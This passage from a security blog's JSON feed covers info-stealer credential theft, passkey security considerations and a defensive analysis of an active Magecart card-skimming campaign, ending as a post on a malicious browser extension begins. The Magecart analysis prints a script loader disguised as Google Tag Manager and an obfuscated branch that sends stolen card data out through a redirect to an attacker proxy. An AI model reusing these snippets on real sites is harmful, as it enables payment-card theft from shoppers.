id=\"bot-mitigation\">Bot Mitigation</h4><p>Using a variety of approaches, we work to detect automated behaviour against sensitive endpoints like login or password reset. By trying to detect and stop bots, we can prevent automated attacks that are using stolen credentials, or are trying to guess credentials by trying them against the site. </p><p></p><h4 id=\"pwned-passwords\">Pwned Passwords</h4><p>We make use of the <a href=\"https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Pwned Password API</a> with their k-anonymity model to query for compromised passwords that have appeared in data breaches. This prevents users from using a password that is known to have been previously compromised.</p><p></p><h3 id=\"none-of-that-matters\">None of that matters</h3><p>And this is the problem! Despite all of the work that we've done above, if an info-stealer malware has infected a device and reads the user's password right off the keyboard, the attacker now has the email address and password, can head right to the login page and successfully login to the account. Despite that, this did identify an avenue for us to improve our processes and offer a little more protection to our users, over and above what we were already offering.</p><p>2FA still matters enormously here because it can stop a stolen password from being enough on its own. But the point remains: once the password itself is known to be compromised, we should not allow it to continue being used.</p><p></p><h3 id=\"our-existing-process\">Our existing process</h3><p>As I mentioned above, we use the Pwned Passwords API to query for passwords that our users are using so we can see if they have been compromised. That sounds like it might be a really bad idea at face value, but the k-anonymity model that the API uses means that <strong>we never send your password</strong> to the API, so this doesn't introduce any security or privacy concerns. It does, however, allow us to know if that particular password has been observed in a data breach. Head on over to the Report URI <a href=\"https://report-uri.com/register/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">registration page</a> and try to register with the password \"correcthorsebatterystaple\" (<a href=\"https://xkcd.com/936/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a> if you don't get the reference), which is a reasonably strong password and will pass our complexity requirements, but it has also been compromised...</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-12.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"477\" height=\"802\"></figure><p></p><p>You're not allowed to use this password because the Pwned Passwords API tells us that it has been previously observed in a data breach. You can head to the <a href=\"https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Pwned Passwords website</a> and test this for yourself to see the results.</p><p>This is a great feature, and it will stop you using a password that has been breached, and we also apply the same protection on the password reset process too, so you can't change to a breached password. But what happens if the password is breached <em>after</em> you set it up on our service?</p><p></p><h3 id=\"identifying-the-gap\">Identifying the gap</h3><p>The problem we have here is that because passwords are stored as a salted hash in our database, we don't have your password to do any kind of regular check to see if it has since been breached. This means that our only opportunity to do any check like this is when you next authenticate and we have that brief period where we have your clear-text password in memory to do the check. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"757\" height=\"173\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png 757w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This is something that we already do and we will notify users if they login with a password that has been breached since they started using it. This is a great feature, and something that we've had for a long time, but it doesn't quite go far enough. If an attacker has your password and is able to login to your account, there's a good chance that they're probably going to ignore this warning and then continue with whatever it is they want to do! What we need to do is immediately suspend your account if we detect a login has occurred with a compromised password.</p><p></p><h3 id=\"the-new-account-lockout-process\">The new account lockout process</h3><p>If you now complete a new authentication to your Report URI account, using a password that has become known to have been breached, your account will be immediately locked and will require a password reset to gain access. There is always a balance to strike with account lockouts because any automated lockout process can introduce Denial-of-Service considerations. In this case, we're only taking action when the submitted password is already known to be compromised, which means the account is already at material risk. We think requiring a password reset is the safer outcome.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-14.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"488\" height=\"529\"></figure><p></p><p>This gives us stronger protection so that if your password later appears in a breach or info-steal dataset, once that password is flagged as having been breached, you know that nobody will be able to use it to gain access to your account.</p><p></p><h3 id=\"service-wide-improvements\">Service-wide improvements</h3><p>Alongside the new automated process above, we have also added new controls to our staff admin portal that allow for the quick and easy locking of an account should it be required. In a recent example, which was what actually triggered this whole response, we had someone email us claiming to have breached our database and accessed user credentials. I knew this was nonsense right away because we don't store passwords in a recoverable format, but this could cause quite a panic if you were to receive a similar email. The email addresses matched Report URI accounts, and when we checked a small sample through our normal authentication flow, the passwords were valid too. I was able to quickly identify that these emails and passwords had been taken from the <a href=\"https://haveibeenpwned.com/breach/AlienStealerLogs?ref=scotthelme.ghost.io\" rel=\"noreferrer\">ALIEN TXTBASE Info Stealer</a> and were being re-purposed to make it look like we had been breached. The scale of these datasets is enormous. HIBP describes ALIEN TXTBASE as containing 23 billion rows of stealer-log data, including email addresses, the websites they were entered into, and the passwords used. It's worth knowing about threats like these for when/if you ever find yourself on the receiving end of such an email. We were able to use our new capability to instantly lock these accounts and protect them, requiring the user to reset their password before gaining access again.</p><p></p><h3 id=\"future-considerations\">Future considerations</h3><p>Another persistent threat from info-stealer malware like this is if the malware steals the session cookie of an authenticated session. This presents a completely different set of challenges and is also something that we're aware of and working on for a future update. For now, I wanted to share this information of what recently happened to us, what we've done about it to improve, and what you can do about it if it happens to you.</p><p></p><h3 id=\"what-should-users-do\">What should users do?</h3><p>If you receive a password reset notification from us, complete the reset and make sure the new password is unique to Report URI. We also strongly recommend enabling 2FA, using a password manager, and checking any affected device for malware. If your password came from an info-stealer log, changing the password alone may not be enough if the device is still compromised.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Info Stealer",
              "term": "Info Stealer",
              "url": null
            },
            {
              "label": "Pwned Passwords",
              "term": "Pwned Passwords",
              "url": null
            },
            {
              "label": "Have I Been Pwned",
              "term": "Have I Been Pwned",
              "url": null
            }
          ]
        },
        {
          "id": "697a56f703d4840001b00ea1",
          "title": "Security considerations when using Passkeys on your website",
          "description": "<p>Passkeys are awesome and that's why we implemented them on Report URI! You can <a href=\"https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we're going to focus on what security considerations you should have</p>",
          "url": "https://scotthelme.ghost.io/security-considerations-when-using-passkeys-on-your-website/",
          "published": "2026-04-22T13:37:22.000Z",
          "updated": "2026-04-22T13:37:22.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg\" alt=\"Security considerations when using Passkeys on your website\"><p>Passkeys are awesome and that's why we implemented them on Report URI! You can <a href=\"https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we're going to focus on what security considerations you should have once you start using Passkeys and we've produced a whitepaper for you to take away that contains valuable information.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"what-passkeys-actually-protect\">What passkeys actually protect</h3><p>Passkeys are built on WebAuthn and use asymmetric cryptography, offering some incredibly strong protections. The user’s device generates a key pair, the public key is registered with a service like <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, and the private key remains protected on the device, often inside secure hardware like a TPM. During authentication, the server issues a challenge and the device signs it after 'user verification', typically biometrics or a PIN. This model gives passkeys some very strong security properties! </p><p>First, there is no shared secret for an attacker to steal from the server and replay elsewhere because only the public key is stored with the service. This means that Report URI isn't storing anything sensitive related to Passkeys.</p><p>Second, the credential is bound to the correct origin, which makes phishing dramatically less effective. The browser or other device that registered the Passkey knows exactly where it was registered, so a user can't be tricked into using it in the wrong place.</p><p>Third, each authentication is challenge-based, which prevents replay, so even if an attacker could capture an authentication flow, it couldn't be used again later.</p><p>Fourth and finally, the private key is not exposed to JavaScript running in the page! 🎉</p><p>All of that is awesome and each point provides valuable protection. If your threat model includes password reuse, credential stuffing, password spraying, or fake login pages, then Passkeys are a direct and effective improvement.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/user-key-duotone-solid-1.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"256\" height=\"256\"></figure><p></p><h3 id=\"where-the-threat-model-shifts\">Where the threat model shifts</h3><p>What passkeys do not do is make the authenticated application trustworthy by default. Once the user has successfully authenticated, most applications establish a session using a cookie or token (probably a cookie). The Passkey is helping to solve the problem of reliably authenticating the user, but once that step is complete, we're still falling back to a traditional cookie! Strong passwords, 2FA, Passkeys, and everything else we do all still end up with a cookie(?!). </p><p>The question then remains \"Can the attacker abuse the authenticated state?\", and this is where traditional attacks like XSS and CSRF remain a real threat. Let's look at a few examples of the kind of things that can go wrong:</p><p>The first is \"session hijacking\" (sometimes called \"session riding\"). If session tokens are accessible, XSS may steal them. Even if they are protected with <code>HttpOnly</code>, malicious code can still perform actions inside the victim’s authenticated browser without needing to extract the cookie itself!</p><p>The second is malicious passkey registration. Let's be crystal clear, XSS cannot extract the victim’s private key or forge WebAuthn responses, but it may still be used to manipulate the user into approving registration of a passkey in an attacker-controlled environment. That creates persistence without breaking WebAuthn itself.</p><p>The third is transaction manipulation. This is one of the clearest examples of the gap between strong authentication and trustworthy application behaviour. A user may authenticate securely with a Passkey, but malicious JavaScript can still alter transaction parameters in the page or intercept API requests before submission. The user thinks they approved one action, while the application processes another, and we had probably the best example ever of that with the <a href=\"https://www.bbc.co.uk/news/articles/c2kgndwwd7lo?ref=scotthelme.ghost.io\" rel=\"noreferrer\">ByBit hack that cost them $1.4 billion dollars</a>!</p><p>To clarify, none of these are Passkey failures, they're application failures, but a good example of the risks that remain.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/square-js-brands-solid.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"256\" height=\"256\"></figure><p></p><h3 id=\"defence-in-depth\">Defence in depth! </h3><p>Especially after deploying Passkeys, we should continue to maintain a strong focus on protecting against XSS (Cross-Site Scripting). We saw that yet again XSS was the <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">#1 Top Threat of 2025</a>, so we still have a little way to go here, but nonetheless, there's a lot we can do! Tactics like context-aware output encoding, avoiding dangerous DOM sinks, validating and sanitising input, and using modern frameworks safely should all feature high on your list of protections. Finally, of course, is Content Security Policy. A strict CSP is one of the strongest controls available for reducing the exploitability of XSS and acts as your final line of defence before bad things happen. Blocking inline scripts, restricting script sources, and removing dangerous execution paths like <code>eval()</code>, all materially improve your resilience. CSP will not compensate for insecure code, and it isn't meant to, but it can significantly constrain what an attacker can do.</p><p>Following on from a robust CSP, we have Permissions Policy, which is often overlooked. In Passkeys-enabled applications, restricting access to <code>publickey-credentials-get</code> and <code>publickey-credentials-create</code> allows us to control access to WebAuthn API / Credential Management calls. Permissions Policy does not prevent injection, but it does reduce the capabilities available to injected code and helps enforce least privilege across pages and origins. A simple config might look like this delivered as a HTTP response header:</p><p></p><pre><code class=\"language-`\">Permissions-Policy: publickey-credentials-create=(self), publickey-credentials-get=(self)</code></pre><p></p><p>Then there is security of the cookie itself. I wrote about this all the way back in 2017 in a blog post called <a href=\"https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Tough Cookies</a>, but here's a quick summary for you. Session cookies should be <code>HttpOnly</code>, <code>Secure</code>, have an appropriate <code>SameSite</code> policy and use at least the <code>__Secure-</code> prefix (or <code>__Host-</code> prefix where possible).</p><p>Finally, sensitive actions need stronger guarantees than “the user has an active session”. High-risk operations such as transferring money, changing recovery settings, or managing credentials should require a fresh authentication challenge to ensure that the user is the one at the keyboard initiating the action.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/fort-sharp-duotone-solid.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"256\" height=\"256\"></figure><p></p><h3 id=\"read-our-whitepaper\">Read our whitepaper</h3><p>If you want more information to really understand the threats that exist in a Passkeys enabled environment, you can download a copy of our white paper that contains detailed information on the problem and the solutions. You can find the white paper on our Passkeys solutions page: <a href=\"https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io\">https://report-uri.com/solutions/passkeys_protection</a></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "XSS",
              "term": "XSS",
              "url": null
            },
            {
              "label": "CSP",
              "term": "CSP",
              "url": null
            },
            {
              "label": "Permissions Policy",
              "term": "Permissions Policy",
              "url": null
            }
          ]
        },
        {
          "id": "69d3d19ad459c7000106a3c5",
          "title": "Fighting an active Magecart Campaign",
          "description": "<p>We’ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What</p>",
          "url": "https://scotthelme.ghost.io/fighting-an-active-magecart-campaign/",
          "published": "2026-04-13T10:48:19.000Z",
          "updated": "2026-04-13T10:48:19.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png\" alt=\"Fighting an active Magecart Campaign\"><p>We’ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What we found was a live payment skimmer injecting fake payment forms, stealing card data, and adapting its exfiltration flow when defensive controls got in the way.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png\" class=\"kg-image\" alt=\"Fighting an active Magecart Campaign\" loading=\"lazy\" width=\"681\" height=\"98\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png 681w\"></a></figure><p></p><h3 id=\"the-magecart-threat\">The Magecart Threat</h3><p>If you're not familiar with Magecart, we have a <a href=\"https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dedicated solutions page</a> for it on the Report URI website where you can read more details, but here's the TLDR;</p><p><em>Attackers find a way to run malicious JavaScript in your site, then use it to steal payment data entered by your visitors.</em></p><p>It is one of the most dangerous forms of client-side compromise because it often leaves little visible trace for the site owner while quietly capturing highly sensitive information.</p><p></p><h3 id=\"the-initial-compromise\">The initial compromise</h3><p>There are many ways that you may initially be compromised, from a traditional XSS attack through to a supply chain compromise, but really, it doesn't matter how they get their malicious JavaScript in, once the attackers have JS on your page, you have a big problem.</p><p>The recent attack we've been tracking starts with this, a simple script injection in <code><head></code>, which I've prettified here for you.</p><p></p><pre><code class=\"language-js \">  !function(e, a, n, t, o, r, c) {\n    e.GoogleTagManagerLoaderScript = o;        // sets window.GoogleTagManagerLoaderScript = \"always\"\n    r = a.createElement(t),                    // creates a <script> element\n    c = a.getElementsByTagName(t)[0],          // finds first <script> in page\n    r.async = 1,                               // async load\n    r.src = e.atob(\"*snip base64*\"),           // decodes base64 URL → script source\n    c.parentNode.insertBefore(r, c)            // injects before first script tag\n  }(window, document, 0, \"script\", \"always\");</code></pre><p></p><p></p><p>What makes this especially effective is how ordinary it looks. Anyone who has spent time inspecting the DOM will have seen almost this exact pattern before. It deliberately mimics the real GTM loader: the same argument structure, the same DOM insertion technique, and the same overall shape. The key difference is that instead of loading <code>gtm.js</code>, it base64-decodes a malicious URL at runtime and injects attacker-controlled JavaScript instead.</p><p>If you base64 decode the URL, it points to a new domain, registered for these attacks, and serves specific payloads on a per-target basis depending on the site name in the path component. Here's a screenshot of the malware payload:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png\" class=\"kg-image\" alt=\"Fighting an active Magecart Campaign\" loading=\"lazy\" width=\"1301\" height=\"817\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png 1301w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"targeted-attack\">Targeted attack</h3><p>Because the payload is customised per target, it includes a number of more advanced behaviours:</p><p></p><p><strong>Admin detection</strong> - before running, the script uses various techniques to detect if the current site visitor is a WordPress, Magento, PrestaShop, or OpenCart administrator, and if they are, it silently exits. This is a deliberate evasion technique so that store owners who are testing their own site will not see any malicious behaviour.</p><p><strong>Anti-debugging</strong> - the script times a debugger statement using <code>performance.now()</code> and if the elapsed time exceeds the set threshold, indicating a debugger is attached, it sets a flag in <code>localStorage</code> and permanently disables the malware in that browser by setting the <code>already_checked</code> flag.</p><p><strong>Platform fingerprinting</strong> - the script identifies if the ecommerce platform in use is one of WooCommerce, Magento, OpenCart, or PrestaShop, and then applies the correct field selectors and event hooks for that specific platform.</p><p></p><p>This is not a generic opportunistic skimmer. It is a targeted and more capable malware payload designed to evade detection and adapt to the environment it lands in.</p><p></p><h3 id=\"skimmer-activation\">Skimmer activation</h3><p>Once the skimmer is active on a checkout page, it injects a fake payment form into the page, styled to match the original payment form exactly. It will then hook all of the form inputs and select fields which are written to <code>localStorage</code> as the user interacts with them. The submission of the form is then intercepted and the stolen data is exfiltrated, both with a variety of methods depending on the platform being used. One way or another, the skimmer is going to try and grab the data and then exfiltrate it to the drop server controlled by the attackers! But it's this final part that caught my eye...</p><p></p><h3 id=\"the-csp-bypass\">The CSP Bypass</h3><p>One detail stood out in the payload: the malware explicitly contained logic labelled as a “CSP bypass”. In reality, this was not a direct defeat of CSP enforcement so much as an adaptive theft technique. When direct exfiltration looked risky, the malware redirected the victim to attacker-controlled infrastructure with the stolen payment data embedded in the URL, then bounced them back to the legitimate site.</p><p></p><pre><code class=\"language-js\">  if(_0x4bb993['enableCspBypass']&&_0x4bb993['cspProxyUrl']) {\n    _0x2a3ee8()&&(console['log']('[CSP BYPASS] Redirecting to proxy page...'),console['log']('[CSP\\x20BYPASS]\\x20Proxy\\x20URL:',_0x4bb993['cspProxyUrl']),console['log']('[CSP BYPASS] Data (base64):',_0xb0be14));\n    localStorage['setItem']('already_checked','1');\n    const _0x210768=_0x4bb993['cspProxyUrl']+'?data='+encodeURIComponent(_0xb0be14);\n    window['location']['href']=_0x210768;\n    return;\n  }</code></pre><p></p><p></p><p>In other words, the malware was adapting its exfiltration path when it detected an environment where CSP might make a more direct route less reliable. It captured the form submission, encoded the stolen payment data, and sent the victim through attacker infrastructure using <code>window.location.href</code>, with the data passed in the request before returning them to the real site.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png\" class=\"kg-image\" alt=\"Fighting an active Magecart Campaign\" loading=\"lazy\" width=\"1212\" height=\"237\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png 1212w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>The attacker now has the stolen credit card data and the endpoint then redirects the user back to the correct page on the target site, making the process completely invisible to the user. Here's a payment I tried to submit using fake credit card details on the live site:</p><p></p><pre><code class=\"language-json\">{\n  \"domain\":\"https://www.*snip*.com\",\n  \"data\" : {\n    \"uagent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\",\n    \"card\":\"4242424242424242\",\n    \"exp\":\"03/27\",\n    \"cvv\":\"144\"\n  }\n}</code></pre><p></p><p></p><p>Calling this a “CSP bypass” is slightly misleading. The more important lesson is that once hostile JavaScript is running in the browser, attackers still have a great deal of flexibility in how they capture and move stolen data. That adaptability is exactly what makes these attacks so dangerous.</p><p></p><h3 id=\"ongoing-threat\">Ongoing threat</h3><p>This campaign is still ongoing. While we continue working to understand the wider impact, our visibility naturally allows us to notify only a subset of potentially affected organisations directly. By publishing these findings, and reporting the infrastructure involved, we hope to help defenders identify and disrupt the campaign more broadly.</p><p></p><h3 id=\"what-defenders-should-do-now\">What defenders should do now</h3><p>If you run an ecommerce site, there are a few immediate checks worth making:</p><ul><li>Review any recent changes to scripts loaded on checkout and payment pages.</li><li>Search logs, telemetry, and browser-side monitoring data for requests involving <code>styleoutsperee.com</code>.</li><li>Investigate unexpected redirects or unusual navigation during payment submission flows.</li><li>Check whether any third-party or injected JavaScript could have accessed payment form fields in the browser.</li></ul><p>Even when the server-side environment looks clean, browser-side visibility can reveal malicious behaviour that would otherwise go unnoticed.</p><p></p><h3 id=\"indicators-of-compromise\">Indicators of Compromise</h3><p>Here are the details:</p><p>Domain: <code>styleoutsperee.com</code> (registered 15th Feb 2026)<br></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>. Our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry almost immediately.</p><p></p><p></p>\n<!--kg-card-begin: html-->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js\" integrity=\"sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<!--kg-card-end: html-->",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": []
        },
        {
          "id": "69d391eed459c7000106a2f7",
          "title": "Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser",
          "description": "<p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"681\" height=\"98\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w\"></a></figure><p></p><p>Even though</p>",
          "url": "https://scotthelme.ghost.io/amazing-refresh-a-malicious-chrome-extension-running-malware-in-the-browser/",
          "published": "2026-04-07T15:05:57.000Z",
          "updated": "2026-04-07T15:05:57.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\"><p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"681\" height=\"98\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w\"></a></figure><p></p><p>Even though the customers' website and supply chain were not compromised, the browser was still executing unauthorised JavaScript in the context of their site. That meant we could still see it. From the website owner’s point of view, this is outsourced client-side compromise: your visitors can be manipulated, redirected, and monetised while they are on your site, and you may never know it is happening.</p><p></p><h3 id=\"how-we-do-it\">How we do it</h3><p>We collect and process a huge volume of telemetry data at Report URI, and sometimes that data reveals serious problems. Our main goal is to identify malicious behaviour in the JavaScript running on our customers’ websites, often introduced by traditional attacks like XSS or, more recently, supply-chain compromise. Sometimes, though, the malicious code does not come from the site or its supply chain at all. It comes from the client.</p><p></p><h3 